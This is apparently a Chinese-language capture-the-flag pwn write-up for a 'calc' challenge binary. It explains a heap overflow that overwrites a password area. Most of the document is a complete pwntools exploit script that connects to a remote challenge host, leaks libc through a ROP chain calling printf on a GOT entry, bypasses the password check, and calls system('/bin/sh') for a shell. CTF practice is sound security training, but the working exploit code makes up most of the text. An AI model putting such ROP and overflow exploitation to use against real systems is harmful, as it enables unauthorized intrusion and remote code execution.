程序本身有溢出,未开pie,got表可写。但是calc有密码校验。
数据结构:
- 两个0x20块存计数器和指针
- 0x110块存输入数据
- 0x330块存使用的密码每次向后加一个提前放入
漏洞:
指针下边界无限制可溢出写,每次会写入输入的数据,通过输入超过33个数覆盖密码区。
思路:
- 先溢出写入rop
- 向前移动输入块,清密码1(返回时候用)
- 选择退出,这时与当前密码指针重叠,可以绕过检查
- 退出后执行rop得到libc并重入
- 同1-4写入system(/bin/sh)
完整exp:
from pwn import *
local = 0
if local == 1:
p = process('./pwn')
else:
p = remote('111.200.241.244', 53010)
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
libc_start_main_ret = 0x20830
elf = ELF('./pwn')
context.arch = 'amd64'
pop_rdi = 0x0000000000401123 # pop rdi ; ret
vuln_addr = 0x400fa2
'''
gef➤ heap chunks
Chunk(addr=0x603010, size=0x20, flags=PREV_INUSE)
[0x0000000000603010 01 00 00 00 00 00 00 00 50 30 60 00 00 00 00 00 ........P0`.....]
Chunk(addr=0x603030, size=0x20, flags=PREV_INUSE)
[0x0000000000603030 03 00 00 00 00 00 00 00 60 31 60 00 00 00 00 00 ........`1`.....]
Chunk(addr=0x603050, size=0x110, flags=PREV_INUSE)
[0x0000000000603050 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x603160, size=0x330, flags=PREV_INUSE)
[0x0000000000603160 95 a2 45 44 5d 92 0b 38 62 a7 c3 69 e1 0e af 35 ..ED]..8b..i...5]
Chunk(addr=0x603490, size=0x20b80, flags=PREV_INUSE) ← top chunk
'''
#clear rand data 0x603160
def calc(a=0):
p.sendlineafter(b"Your choice:", b'1')
p.sendline(str(a).encode())
p.sendline(b'0')
p.send(b'yes'.ljust(0x10, b'\x00'))
context.log_level = 'debug'
# 0x20
start = 0x401036
#1
p.sendlineafter(b"Input your name pls: ", b'A'*0x108+flat(0,0,pop_rdi,elf.got['__libc_start_main'],elf.plt['printf'],start))
for i in range(33):
calc()
calc(0x331)
for i in range(1):
calc()
p.sendlineafter(b"Your choice:", b'5')
libc_base = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc_elf.sym['__libc_start_main']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
#2
p.sendlineafter(b"Input your name pls: ", b'A'*0x108 + flat(0,0,pop_rdi, next(libc_elf.search(b'/bin/sh')), libc_elf.sym['system']))
for i in range(33):
calc()
calc(0x331)
for i in range(1):
calc()
p.sendlineafter(b"Your choice:", b'5')
p.interactive()